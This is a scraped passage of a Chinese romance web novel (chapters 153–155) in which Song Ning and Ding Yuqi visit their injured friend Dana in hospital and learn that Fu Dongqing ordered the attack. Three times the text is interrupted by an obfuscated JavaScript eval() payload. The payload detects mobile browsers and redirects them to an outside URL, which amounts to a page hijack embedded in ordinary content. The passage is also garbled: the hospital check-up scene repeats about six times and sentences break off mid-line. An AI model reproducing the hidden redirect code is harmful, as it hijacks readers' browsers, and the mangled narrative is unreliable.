宋凝眼皮越来沉:“那你记得叫我,我们一起去……” 她的话音越来越低,等说到末尾半句话更是直接低到了不可闻的地步,是困的话还没说完,人先睡过去了。 丁予期无言的盯着宋凝的睡颜看了又看,等确认她是真的睡着了,不是为了宽慰他在装睡,这才轻轻将她在床上放平,好让她能躺在枕头上睡得更舒服些。 他替她将一缕碎发别到耳后,轻声道:“好好睡,明天见。” 翌日早上,心里有事的宋凝醒的比其它任何时候都早。 她以为丁予期还没起床,匆匆忙忙的就要去叫醒他,结果刚冲进厅里,就看到了穿着外出的休闲西装,手里好提着大包小包的丁予期。 “醒了?” 宋凝点了点头。 丁予期说:“你去洗漱一下,然后我带你下楼吃早餐,之后就去医院看大拿。” “好,”宋凝走了一半,又转了过来:“大拿为了救我受了这么重的伤,我得表示表示。” 丁予期指着几袋子东西说:“该准备的东西我都准备好了,去看病人怎么能空着手?” 另一边的袋子里是满满当当的营养品和一束鲜花,带去医院探望病人着实再合适不过。 宋凝看着丁予期的准备,心里过意不去道:“这些东西都是你准备的,我岂不是变成借花献佛了么?” 丁予期突然挑眉:“那你的意思是……?” “这些东西多少钱,我把钱转给你。” “宋经理是不是还得额外给我一笔跑腿费?” “……你要吗?” “要。” 宋凝哽了一下:“要多少?” 丁予期想了想:“要你以后都好好吃饭好好睡觉。” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 宋凝咬住唇。 丁予期看出她的不自在,于是叹了口气,轻声说道:“不管你买还是我买,在大拿眼里其实并没有什么区别。你要是实在心里过意不去,下次给大拿做点清汤面带去,他私下跟我说过,最喜欢吃你做的清汤面。” 宋凝沉默了,或许现在在所有人眼中,这些鲜花和礼物是谁买的在外人看来其实是没区别。 可宋昭并没有忘记他们之间的约定,等到一年后她彻底摆脱了傅东擎的纠缠,她就会跟丁予期离婚,然后桥归桥路归路。 只是从目前的情形来看,事情真的会这么顺利么? 宋凝也想乐观点,但现实如此好像并不是她想的那么简单。 丁予期催促她:“医院有探视时间的,再迟的话我们就要错过了。” 宋凝如梦初醒,小跑着去了浴室。 丁予期的视线下移,看着她脚上穿着的那双拖鞋—— 一粉一蓝,显然是穿错了一只他的。 从宋凝刚刚走出卧室的时候他就看到了,不过他不想拆穿。 这样……挺好。 …… 去医院的路上,宋凝一直被巨大的愧疚和负罪感包裹着。 丁予期从后视镜打量着她的表情,他知道她的思绪,也同样为兄弟觉得可惜。 尤其是到了医院之后,两人还被拒之门外。 宋凝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146278|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问医生:“我可以见见他么?” 病房里空无一人,只有矮桌上的生活用品还有被使用过的痕迹,说明大拿真的住在这里。 医生摇了摇头:“很抱歉,现在暂时不行。” 宋凝一颗心顿时提到了嗓子眼,目光发直的颤声问:“那他……怎么样了?” 能让医生说现在不能见的情况想必是非常严重了,她实在是没法不把事情往悲观的方向上想,甚至连重症监护室都想到了。 幸好丁予期及时补了个问句:“医生,我记得大拿的手受了很严重的外伤,看起来几乎被砍断了,现在怎么样了?” 对一个枪法极准的退伍军人来说,他的手无疑非常宝贵。 医生答的细致:“病人的手术刚开始不到半个小时,具体情况还不清楚,不过为他做手术的主刀医生是苏女士介绍来的专家,同时也是有部队背景的军医,据说很擅长治疗类似的伤势。具体情况你们可以等手术结束了问主刀医生。” 宋凝没能立刻反应过来,疑问道:“苏女士是……” 话刚说了个开头,她忽然意识既有军队背景,又可能会在这件事上帮忙的苏女士可不就只有苏菲一个人么? 宋凝侧目看向丁予期,动容道:“谢谢。” 苏菲是丁予期的大嫂,现场能让她发动自己的人脉,辗转请到靠得住的军医的人唯有丁予期一个。 他见宋凝待自己还是客气,无声的在心底叹了口气,然后向医生问到了那间手术室的所在。 丁予期知道宋凝对大拿满是愧疚,所以才会关心则乱,充分发挥起他的陪伴优势,先是陪她在手术室外坐了许久,又在门打开后第一时间迎上去问:“医生,手术还顺利么?” “我们已经尽力了。” 医生说着这句经典台词,摘下口罩又补充道,“不过幸运的事,病人的手部肌腱并没有完全断掉,缝合后维持日常生活是没什么问题的,但小臂粉碎性骨折的情况还是很严重,能恢复到多好的状态目前还不好说。” 第一百五十四章 傅东擎还隐藏着什么秘密 好消息后面立刻接了个坏消息让那块压在宋凝心头的大石头才刚起来些许就又重重落了回去。 她焦灼的追问道:“那他以后还能继续射击么?他的水平很高受影响的话实在可惜。” 丁予期亦是跟着蹙了眉心是发自内心的希望大拿的伤势能够恢复如初。 可苏菲请来的这位军医并没有委婉发言的习惯他仍旧用在部队里养成的直白作风向他们转达道:“射击是很精细的运动得花大力气复健。先修养一阵子观察观察吧看看情况才能确定下一阶段的治疗方案。” “可是……” 宋凝还想再问但护士已经把大拿从手术室里推出来了。 他伤的手臂做的是局麻手术目前意识很清醒见他们来了第一反应就是抬起另一只手打招呼。 丁予期上前扶住病床一侧的抓手帮着护士推他回了病房。 宋凝早把带来的慰问品和鲜花放进了他的病房里这时虽然无忙可帮却也不肯让自己闲着而是迫切的想做些力所能及的事。 大拿见她这样内疚主动安慰道:“嫂子把我害成这样的人又不是你你不必觉得亏欠我。” 话是这么说没错但宋凝还是做不到心安理得的揭过这一页。 她将矮桌上的热水壶装满又把带来的慰问品和鲜花摆到合适的位置然后去到他面前郑重表示:“事情毕竟因我而起。” 如果大拿不是为了救她凭他的身手和经验无疑是能够全身而退的都是她拖累了他事情才会变成这样。 丁予期没有贸然参与进去而是默默的握住了她的手:“别把什么事都往自己身上揽。大拿是谁动的手 大拿微微皱眉想了一下点头:“有。但是他也只是执行命令真正下命令的……” 他顿了一下继续开口:“是傅东擎。” 当时宋凝直接被弄晕了过去在船舱内醒来之前的那段记忆她是缺失的。 但是大拿记得。 大拿轻声回忆着:“……当我察觉傅东擎埋伏的人对嫂子动了手之后立刻就想冲上去把嫂子救回来。不过他带来的人多我双拳难敌四手只能紧紧抓着嫂子的脚腕。那些人扯不开我又怕时间长了夜长梦多所以傅东擎就让人打断了我的手。” 丁予期的脸色有些阴沉:“用什么打的?” “石头”大拿说:“就是路边的景观石。” 说到这里宋凝倒吸了一口凉气。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 卫斯理酒店园区内有沿着路两边摆放着的景观石,都不算小,至少十多公斤,那要是砸在手腕上…… 大拿却有些不以为意:“疼倒是有点,不过当时我被他们的对话吸引了。傅东擎身边有个助理,好像是姓何。我听到傅东擎吩咐他,让他联络一个叫五哥的人。” 丁予期听到这个名字,并没有什么反应,他应该不认识。 大拿问道:“嫂子,你知道吗?” 宋凝摇了摇头:“我没听傅东擎提起过这个名字。” “但是这个五哥应该认识你,”大拿说:“我在船舱里的时候,那个叫五哥的人来过一次,但我被关在里面,没看到那个五哥长什么样子。但是我清楚地听到他说……” 大拿看了宋凝一眼,没有再继续说下去。 宋凝心里一沉,追问道:“他说什么?” “咳咳,”大拿清了清嗓子,略有些不自然地说:“说你的母亲跟他……关系不清楚。” 宋凝顿时大怒:“他胡说八道!我爸妈感情一直很好,我爸去世之后我妈就一直努力工作养我,根本就没有再婚的打算!退一万步说,就算有,我那时候跟我妈天天在一起,她有什么事我都知道,根本就不可能!” “宋凝,”丁予期温柔地捏了捏她的掌心:“你先冷静一下,这个人多半是胡说的,你先别生气。” 宋凝怎么可能不生气。 一个随便什么人都能来造谣妈妈了! 欺负妈妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146279|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经去世了没办法给自己辩白吗?! “嫂子,我冒昧问一下,阿姨的名字是不是叫秦琴?” 宋凝怔了一下,点头:“是,你怎么知道……?” “那个五哥在说这件事的时候,提起过这个名字。”大拿说:“这个五哥,应该是认识嫂子你的父母的,跟他们有仇,因为就算是他提起你母亲,嘴里也是污言秽语,说的很直白露骨,十分不堪入耳,没有半分尊重。” 认识爸爸妈妈,又跟他们有仇…… 宋凝突然脸色一变。 她猛然间转头看向丁予期,丁予期此时也像是跟她心有灵犀一样,也转头看向她。 很明显,他们都想到了一个人。 “于洪亮!” 那个做局拿走爸爸酒店,把丽晶酒店改造成一个从事不法活动的舞厅的那个败类! 他已经出狱了?! 他又怎么会跟傅东擎认识的? 宋凝顿时心乱如麻。 丁予期见她脸色不好看,自动岔开话题说道:“大拿,你的手我后续会再去跟我外公说一声,用他的人脉再找部队里更权威的医生来给你看看。这次你受伤多少也跟我和宋凝有些关系,你放心,我会负责到底。” 大拿勾唇浅笑:“怎么,你准备给我买房买车,再娶个媳妇儿?” “房子车子不用你说,肯定给你安排好。媳妇儿这件事……我到底是个律师,也不能强抢民女啊,还是得靠你自己,不过花费方面不用担心。” 大拿是真心不认为自己的伤势有严重到如此地步,早在手术进行到一半时就平静的接受了。 这时见他们两个像是有了新进展,生怕自己会变成阻碍的抬了下裹着石膏和纱布的那只手臂。 “你们两个怎么都苦大仇深的?我反正也退伍很久,早就手生了,以后不用枪也无所谓的,正好还能省去不少麻烦呢,你外公一直还想让我回部队去当教官,现在可好,我终于可以退休享受生活了,这伤势跟勋章没两样。” 第一百五十五章 一朝被蛇咬十年怕井绳 他为人豁达,是真的没把这件事放在心上,却架不住宋凝为此感到惋惜。 学射击是件既需要天赋又必须得有付出的苦事,但现在一切都被她和傅东擎的恩怨给毁了。 宋凝深吸一口气,正想再说点什么,病房门先被敲响了,走进来的除了丁予期和大拿共同的好兄弟老姚和萝卜外,还有丁予期的大嫂苏菲。 “刚刚你们说的话,我都听到了。你们放心,我已经安排了人去检查那艘游艇,继续努力收集证据,绝不会让傅东擎一直逍遥法外的,他必须付出代价才行。” 苏菲待人接物很温柔,又是宋凝现在名义上的表嫂,她说的话还是有几分道理。 丁予期跟着听了许久,见事情处理的差不多了,便打算更进一步的把重心放回到保护好宋昭的原点上去,已经发生的事是无法挽回了,但他至少还能够防患于未然。 宋凝不放心的想要再多待一会儿,可老姚和萝卜你一言我一句的劝了起来。 “嫂子,你是丁儿的媳妇儿,让你照顾大拿多不合适啊,辈分一不留神就乱了是小事,最关键的还是你有许多事是不方便做的,有我们两个大男人就够了。” 大拿伤的是他的惯用手,在出院之前需要帮忙的地方确实是多了些,可没一件是能让他直言不讳,拜托宋凝帮忙做的,他旁听着老姚和萝卜的对话,甚至催促对方快点走。 丁予期当然没有辜负他的提示,而是小心翼翼的将她的手握了一路。 宋凝以为他是要带自己回住处,并没有多想。 直到他在医院一楼大厅里拐了个方向。 她迷茫的问:“我们不是要回卫斯理酒店么?” 位于酒店六十四层的套房是丁予期在这里的长包房,从前都是他一个人住,顶多再加三只好大儿。 单身男人的房间,黑白色调,一切从简。 直到她搬进来,看上去渐渐有了点“家”的感觉。 而她在这里住的时间长了,也渐渐从最开始的陌生发展到熟悉。 丁予期停下步子,耐心的对宋凝解释说:“既然都来医院了,不如去做个检查,这样才能放心些。” 难怪他会对她来医院探望大拿的事表现的如此积极,合着是在这里等着。 宋凝来都来了,也不差这点时间,索性就答应了下来,而丁予期显然是早有准备,不仅带她做了全套体检,还特意选择了加急,就为了能尽快得到结果。 有些项目他没办法陪着,就只能在外面等着。 宋凝刚做完B超,正在用纸巾擦着皮肤上附着的黏腻药水,就听到一个小护士笑嘻嘻地走了进来:“宋凝宋小姐在吗?” 宋凝应了一声:“我在。” 小护士倒没说什么,只是说:“你老公在外面等着,有点不放心你,拜托我进来看看你还在不在。没事,我出去告诉他一声。” 小护士风风火火的走了。 方才给她做检查的护士也轻笑:“你们夫妻感情真好啊。” 宋凝知道,他是一朝被蛇咬十年怕井绳。 前天晚上她刚离开他的视线就被人弄晕带走了,自从她回来,尽管丁予期表面上没有表现出来,但是她这段时间跟丁予期也算是相处了一阵子,她看得出来,他的神经一直是有些紧绷的。 “你好护士,请问什么时候可以取报告?” 护士说:“心电图的结果很快的,你们在外面稍等一会儿就行。” “好的,谢谢,那我出去了。” 护士又笑了:“快出去吧,别让你老公等急了。” 宋凝走出B超室的时候,一眼就看到了站在门口的丁予期。 他正在跟旁边另一个男人攀谈,两个人聊得很投机的样子。 见她出现,他立刻跟男人做了个手势,然后朝着她跑了过来。 “做完检查了?” “嗯,说是结果要等一会儿。” “好。” 宋凝问:“那个男人你认识啊?” 丁予期顺着她的目光看过去,正好那个男人也看了过来,还笑着对他们挥了挥手。 丁予期:“不认识啊。” “那我看你们刚刚聊得那么热火朝天,好像很熟的样子,你们都聊什么了?” “吃剩饭。” “?” “他老婆怀孕了,今天是来做产检的,家里长辈做了很多东西给孕妇吃,但是他老婆孕吐什么都吃不下,不吃又会伤老人们的心,所以最后都进了他的肚子。结果就是他老婆瘦了几斤,他胖了二十斤。” 宋凝看着男人憨态可掬像个熊猫一样的样子,突然就觉得有些可爱了。 “以后……”丁予期欲言又止,但很快又摇了摇头:“算了,以后再说。” “什么?” 丁予期脸色微红,轻咳一下掩饰尴尬:“没什么。诶,检查报告好像出来了。” 心电图是最后一个项目了,很快带着打印机热度的全套检查报告很快就被送到了他们手里。 丁予期没放过哪怕任何一行细微的小字,仔仔细细的看过宋凝的体检报告后,总算把没有在她面前表现出来过的担忧随着话音叹了出去:“没事就好。” 体检报告显示宋凝除了轻微贫血外,就只受了一些擦伤,并没有出现其他问题。 宋凝一直以为他是个沉得住气的,没想到他不过是藏得够深罢了,暗暗感到反差的同时也从心底涌起一股暖意,回应道:“我当然没事,又不是纸糊的。” 丁予期拿着体检报告,神情总算是轻松了一些。 等他们回到酒店房间里时,瑞贝卡已经提前等在客厅里了,她汇报道:“丁总,您要的东西都准备好了。” 茶几上多了个离开前并不存在的药箱。 丁予期侧身对一头雾水的宋凝解释:“擦伤可大可小,也是需要好好处理伤口的,所以我让瑞贝卡准备了一些药膏,她跟你都是女孩子,处理起来会方便些。” 宋凝有些疑惑。 刚刚不是在医院,处理伤口不是更方便么? 怎么还非得回来让瑞贝卡帮忙? 瑞贝卡:“外科医生是男性吧?” 宋凝刚做完B超,正在用纸巾擦着皮肤上附着的黏腻药水,就听到一个小护士笑嘻嘻地走了进来:“宋凝宋小姐在吗?” 宋凝应了一声:“我在。” 小护士倒没说什么,只是说:“你老公在外面等着,有点不放心你,拜托我进来看看你还在不在。没事,我出去告诉他一声。” 小护士风风火火的走了。 方才给她做检查的护士也轻笑:“你们夫妻感情真好啊。” 宋凝知道,他是一朝被蛇咬十年怕井绳。 前天晚上她刚离开他的视线就被人弄晕带走了,自从她回来,尽管丁予期表面上没有表现出来,但是她这段时间跟丁予期也算是相处了一阵子,她看得出来,他的神经一直是有些紧绷的。 “你好护士,请问什么时候可以取报告?” 护士说:“心电图的结果很快的,你们在外面稍等一会儿就行。” “好的,谢谢,那我出去了。” 护士又笑了:“快出去吧,别让你老公等急了。” 宋凝走出B超室的时候,一眼就看到了站在门口的丁予期。 他正在跟旁边另一个男人攀谈,两个人聊得很投机的样子。 见她出现,他立刻跟男人做了个手势,然后朝着她跑了过来。 “做完检查了?” “嗯,说是结果要等一会儿。” “好。” 宋凝问:“那个男人你认识啊?” 丁予期顺着她的目光看过去,正好那个男人也看了过来,还笑着对他们挥了挥手。 丁予期:“不认识啊。” “那我看你们刚刚聊得那么热火朝天,好像很熟的样子,你们都聊什么了?” “吃剩饭。” “?” “他老婆怀孕了,今天是来做产检的,家里长辈做了很多东西给孕妇吃,但是他老婆孕吐什么都吃不下,不吃又会伤老人们的心,所以最后都进了他的肚子。结果就是他老婆瘦了几斤,他胖了二十斤。” 宋凝看着男人憨态可掬像个熊猫一样的样子,突然就觉得有些可爱了。 “以后……”丁予期欲言又止,但很快又摇了摇头:“算了,以后再说。” “什么?” 丁予期脸色微红,轻咳一下掩饰尴尬:“没什么。诶,检查报告好像出来了。” 心电图是最后一个项目了,很快带着打印机热度的全套检查报告很快就被送到了他们手里。 丁予期没放过哪怕任何一行细微的小字,仔仔细细的看过宋凝的体检报告后,总算把没有在她面前表现出来过的担忧随着话音叹了出去:“没事就好。” 体检报告显示宋凝除了轻微贫血外,就只受了一些擦伤,并没有出现其他问题。 宋凝一直以为他是个沉得住气的,没想到他不过是藏得够深罢了,暗暗感到反差的同时也从心底涌起一股暖意,回应道:“我当然没事,又不是纸糊的。” 丁予期拿着体检报告,神情总算是轻松了一些。 等他们回到酒店房间里时,瑞贝卡已经提前等在客厅里了,她汇报道:“丁总,您要的东西都准备好了。” 茶几上多了个离开前并不存在的药箱。 丁予期侧身对一头雾水的宋凝解释:“擦伤可大可小,也是需要好好处理伤口的,所以我让瑞贝卡准备了一些药膏,她跟你都是女孩子,处理起来会方便些。” 宋凝有些疑惑。 刚刚不是在医院,处理伤口不是更方便么? 怎么还非得回来让瑞贝卡帮忙? 瑞贝卡:“外科医生是男性吧?” 宋凝刚做完B超,正在用纸巾擦着皮肤上附着的黏腻药水,就听到一个小护士笑嘻嘻地走了进来:“宋凝宋小姐在吗?” 宋凝应了一声:“我在。” 小护士倒没说什么,只是说:“你老公在外面等着,有点不放心你,拜托我进来看看你还在不在。没事,我出去告诉他一声。” 小护士风风火火的走了。 方才给她做检查的护士也轻笑:“你们夫妻感情真好啊。” 宋凝知道,他是一朝被蛇咬十年怕井绳。 前天晚上她刚离开他的视线就被人弄晕带走了,自从她回来,尽管丁予期表面上没有表现出来,但是她这段时间跟丁予期也算是相处了一阵子,她看得出来,他的神经一直是有些紧绷的。 “你好护士,请问什么时候可以取报告?” 护士说:“心电图的结果很快的,你们在外面稍等一会儿就行。” “好的,谢谢,那我出去了。” 护士又笑了:“快出去吧,别让你老公等急了。” 宋凝走出B超室的时候,一眼就看到了站在门口的丁予期。 他正在跟旁边另一个男人攀谈,两个人聊得很投机的样子。 见她出现,他立刻跟男人做了个手势,然后朝着她跑了过来。 “做完检查了?” “嗯,说是结果要等一会儿。” “好。” 宋凝问:“那个男人你认识啊?” 丁予期顺着她的目光看过去,正好那个男人也看了过来,还笑着对他们挥了挥手。 丁予期:“不认识啊。” “那我看你们刚刚聊得那么热火朝天,好像很熟的样子,你们都聊什么了?” “吃剩饭。” “?” “他老婆怀孕了,今天是来做产检的,家里长辈做了很多东西给孕妇吃,但是他老婆孕吐什么都吃不下,不吃又会伤老人们的心,所以最后都进了他的肚子。结果就是他老婆瘦了几斤,他胖了二十斤。” 宋凝看着男人憨态可掬像个熊猫一样的样子,突然就觉得有些可爱了。 “以后……”丁予期欲言又止,但很快又摇了摇头:“算了,以后再说。” “什么?” 丁予期脸色微红,轻咳一下掩饰尴尬:“没什么。诶,检查报告好像出来了。” 心电图是最后一个项目了,很快带着打印机热度的全套检查报告很快就被送到了他们手里。 丁予期没放过哪怕任何一行细微的小字,仔仔细细的看过宋凝的体检报告后,总算把没有在她面前表现出来过的担忧随着话音叹了出去:“没事就好。” 体检报告显示宋凝除了轻微贫血外,就只受了一些擦伤,并没有出现其他问题。 宋凝一直以为他是个沉得住气的,没想到他不过是藏得够深罢了,暗暗感到反差的同时也从心底涌起一股暖意,回应道:“我当然没事,又不是纸糊的。” 丁予期拿着体检报告,神情总算是轻松了一些。 等他们回到酒店房间里时,瑞贝卡已经提前等在客厅里了,她汇报道:“丁总,您要的东西都准备好了。” 茶几上多了个离开前并不存在的药箱。 丁予期侧身对一头雾水的宋凝解释:“擦伤可大可小,也是需要好好处理伤口的,所以我让瑞贝卡准备了一些药膏,她跟你都是女孩子,处理起来会方便些。” 宋凝有些疑惑。 刚刚不是在医院,处理伤口不是更方便么? 怎么还非得回来让瑞贝卡帮忙? 瑞贝卡:“外科医生是男性吧?” 宋凝刚做完B超,正在用纸巾擦着皮肤上附着的黏腻药水,就听到一个小护士笑嘻嘻地走了进来:“宋凝宋小姐在吗?” 宋凝应了一声:“我在。” 小护士倒没说什么,只是说:“你老公在外面等着,有点不放心你,拜托我进来看看你还在不在。没事,我出去告诉他一声。” 小护士风风火火的走了。 方才给她做检查的护士也轻笑:“你们夫妻感情真好啊。” 宋凝知道,他是一朝被蛇咬十年怕井绳。 前天晚上她刚离开他的视线就被人弄晕带走了,自从她回来,尽管丁予期表面上没有表现出来,但是她这段时间跟丁予期也算是相处了一阵子,她看得出来,他的神经一直是有些紧绷的。 “你好护士,请问什么时候可以取报告?” 护士说:“心电图的结果很快的,你们在外面稍等一会儿就行。” “好的,谢谢,那我出去了。” 护士又笑了:“快出去吧,别让你老公等急了。” 宋凝走出B超室的时候,一眼就看到了站在门口的丁予期。 他正在跟旁边另一个男人攀谈,两个人聊得很投机的样子。 见她出现,他立刻跟男人做了个手势,然后朝着她跑了过来。 “做完检查了?” “嗯,说是结果要等一会儿。” “好。” 宋凝问:“那个男人你认识啊?” 丁予期顺着她的目光看过去,正好那个男人也看了过来,还笑着对他们挥了挥手。 丁予期:“不认识啊。” “那我看你们刚刚聊得那么热火朝天,好像很熟的样子,你们都聊什么了?” “吃剩饭。” “?” “他老婆怀孕了,今天是来做产检的,家里长辈做了很多东西给孕妇吃,但是他老婆孕吐什么都吃不下,不吃又会伤老人们的心,所以最后都进了他的肚子。结果就是他老婆瘦了几斤,他胖了二十斤。” 宋凝看着男人憨态可掬像个熊猫一样的样子,突然就觉得有些可爱了。 “以后……”丁予期欲言又止,但很快又摇了摇头:“算了,以后再说。” “什么?” 丁予期脸色微红,轻咳一下掩饰尴尬:“没什么。诶,检查报告好像出来了。” 心电图是最后一个项目了,很快带着打印机热度的全套检查报告很快就被送到了他们手里。 丁予期没放过哪怕任何一行细微的小字,仔仔细细的看过宋凝的体检报告后,总算把没有在她面前表现出来过的担忧随着话音叹了出去:“没事就好。” 体检报告显示宋凝除了轻微贫血外,就只受了一些擦伤,并没有出现其他问题。 宋凝一直以为他是个沉得住气的,没想到他不过是藏得够深罢了,暗暗感到反差的同时也从心底涌起一股暖意,回应道:“我当然没事,又不是纸糊的。” 丁予期拿着体检报告,神情总算是轻松了一些。 等他们回到酒店房间里时,瑞贝卡已经提前等在客厅里了,她汇报道:“丁总,您要的东西都准备好了。” 茶几上多了个离开前并不存在的药箱。 丁予期侧身对一头雾水的宋凝解释:“擦伤可大可小,也是需要好好处理伤口的,所以我让瑞贝卡准备了一些药膏,她跟你都是女孩子,处理起来会方便些。” 宋凝有些疑惑。 刚刚不是在医院,处理伤口不是更方便么? 怎么还非得回来让瑞贝卡帮忙? 瑞贝卡:“外科医生是男性吧?” 宋凝刚做完B超,正在用纸巾擦着皮肤上附着的黏腻药水,就听到一个小护士笑嘻嘻地走了进来:“宋凝宋小姐在吗?” 宋凝应了一声:“我在。” 小护士倒没说什么,只是说:“你老公在外面等着,有点不放心你,拜托我进来看看你还在不在。没事,我出去告诉他一声。” 小护士风风火火的走了。 方才给她做检查的护士也轻笑:“你们夫妻感情真好啊。” 宋凝知道,他是一朝被蛇咬十年怕井绳。 前天晚上她刚离开他的视线就被人弄晕带走了,自从她回来,尽管丁予期表面上没有表现出来,但是她这段时间跟丁予期也算是相处了一阵子,她看得出来,他的神经一直是有些紧绷的。 “你好护士,请问什么时候可以取报告?” 护士说:“心电图的结果很快的,你们在外面稍等一会儿就行。” “好的,谢谢,那我出去了。” 护士又笑了:“快出去吧,别让你老公等急了。” 宋凝走出B超室的时候,一眼就看到了站在门口的丁予期。 他正在跟旁边另一个男人攀谈,两个人聊得很投机的样子。 见她出现,他立刻跟男人做了个手势,然后朝着她跑了过来。 “做完检查了?” “嗯,说是结果要等一会儿。” “好。” 宋凝问:“那个男人你认识啊?” 丁予期顺着她的目光看过去,正好那个男人也看了过来,还笑着对他们挥了挥手。 丁予期:“不认识啊。” “那我看你们刚刚聊得那么热火朝天,好像很熟的样子,你们都聊什么了?” “吃剩饭。” “?” “他老婆怀孕了,今天是来做产检的,家里长辈做了很多东西给孕妇吃,但是他老婆孕吐什么都吃不下,不吃又会伤老人们的心,所以最后都进了他的肚子。结果就是他老婆瘦了几斤,他胖了二十斤。” 宋凝看着男人憨态可掬像个熊猫一样的样子,突然就觉得有些可爱了。 “以后……”丁予期欲言又止,但很快又摇了摇头:“算了,以后再说。” “什么?” 丁予期脸色微红,轻咳一下掩饰尴尬:“没什么。诶,检查报告好像出来了。” 心电图是最后一个项目了,很快带着打印机热度的全套检查报告很快就被送到了他们手里。 丁予期没放过哪怕任何一行细微的小字,仔仔细细的看过宋凝的体检报告后,总算把没有在她面前表现出来过的担忧随着话音叹了出去:“没事就好。” 体检报告显示宋凝除了轻微贫血外,就只受了一些擦伤,并没有出现其他问题。 宋凝一直以为他是个沉得住气的,没想到他不过是藏得够深罢了,暗暗感到反差的同时也从心底涌起一股暖意,回应道:“我当然没事,又不是纸糊的。” 丁予期拿着体检报告,神情总算是轻松了一些。 等他们回到酒店房间里时,瑞贝卡已经提前等在客厅里了,她汇报道:“丁总,您要的东西都准备好了。” 茶几上多了个离开前并不存在的药箱。 丁予期侧身对一头雾水的宋凝解释:“擦伤可大可小,也是需要好好处理伤口的,所以我让瑞贝卡准备了一些药膏,她跟你都是女孩子,处理起来会方便些。” 宋凝有些疑惑。 刚刚不是在医院,处理伤口不是更方便么? 怎么还非得回来让瑞贝卡帮忙? 瑞贝卡:“外科医生是男性吧?” 宋凝刚做完B超,正在用纸巾擦着皮肤上附着的黏腻药水,就听到一个小护士笑嘻嘻地走了进来:“宋凝宋小姐在吗?” 宋凝应了一声:“我在。” 小护士倒没说什么,只是说:“你老公在外面等着,有点不放心你,拜托我进来看看你还在不在。没事,我出去告诉他一声。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146280|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小护士风风火火的走了。 方才给她做检查的护士也轻笑:“你们夫妻感情真好啊。” 宋凝知道,他是一朝被蛇咬十年怕井绳。 前天晚上她刚离开他的视线就被人弄晕带走了,自从她回来,尽管丁予期表面上没有表现出来,但是她这段时间跟丁予期也算是相处了一阵子,她看得出来,他的神经一直是有些紧绷的。 “你好护士,请问什么时候可以取报告?” 护士说:“心电图的结果很快的,你们在外面稍等一会儿就行。” “好的,谢谢,那我出去了。” 护士又笑了:“快出去吧,别让你老公等急了。” 宋凝走出B超室的时候,一眼就看到了站在门口的丁予期。 他正在跟旁边另一个男人攀谈,两个人聊得很投机的样子。 见她出现,他立刻跟男人做了个手势,然后朝着她跑了过来。 “做完检查了?” “嗯,说是结果要等一会儿。” “好。” 宋凝问:“那个男人你认识啊?” 丁予期顺着她的目光看过去,正好那个男人也看了过来,还笑着对他们挥了挥手。 丁予期:“不认识啊。” “那我看你们刚刚聊得那么热火朝天,好像很熟的样子,你们都聊什么了?” “吃剩饭。” “?” “他老婆怀孕了,今天是来做产检的,家里长辈做了很多东西给孕妇吃,但是他老婆孕吐什么都吃不下,不吃又会伤老人们的心,所以最后都进了他的肚子。结果就是他老婆瘦了几斤,他胖了二十斤。” 宋凝看着男人憨态可掬像个熊猫一样的样子,突然就觉得有些可爱了。 “以后……”丁予期欲言又止,但很快又摇了摇头:“算了,以后再说。” “什么?” 丁予期脸色微红,轻咳一下掩饰尴尬:“没什么。诶,检查报告好像出来了。” 心电图是最后一个项目了,很快带着打印机热度的全套检查报告很快就被送到了他们手里。 丁予期没放过哪怕任何一行细微的小字,仔仔细细的看过宋凝的体检报告后,总算把没有在她面前表现出来过的担忧随着话音叹了出去:“没事就好。” 体检报告显示宋凝除了轻微贫血外,就只受了一些擦伤,并没有出现其他问题。 宋凝一直以为他是个沉得住气的,没想到他不过是藏得够深罢了,暗暗感到反差的同时也从心底涌起一股暖意,回应道:“我当然没事,又不是纸糊的。” 丁予期拿着体检报告,神情总算是轻松了一些。 等他们回到酒店房间里时,瑞贝卡已经提前等在客厅里了,她汇报道:“丁总,您要的东西都准备好了。” 茶几上多了个离开前并不存在的药箱。 丁予期侧身对一头雾水的宋凝解释:“擦伤可大可小,也是需要好好处理伤口的,所以我让瑞贝卡准备了一些药膏,她跟你都是女孩子,处理起来会方便些。” 宋凝有些疑惑。 刚刚不是在医院,处理伤口不是更方便么? 怎么还非得回来让瑞贝卡帮忙? 瑞贝卡:“外科医生是男性吧?” 宋凝刚做完B超,正在用纸巾擦着皮肤上附着的黏腻药水,就听到一个小护士笑嘻嘻地走了进来:“宋凝宋小姐在吗?” 宋凝应了一声:“我在。” 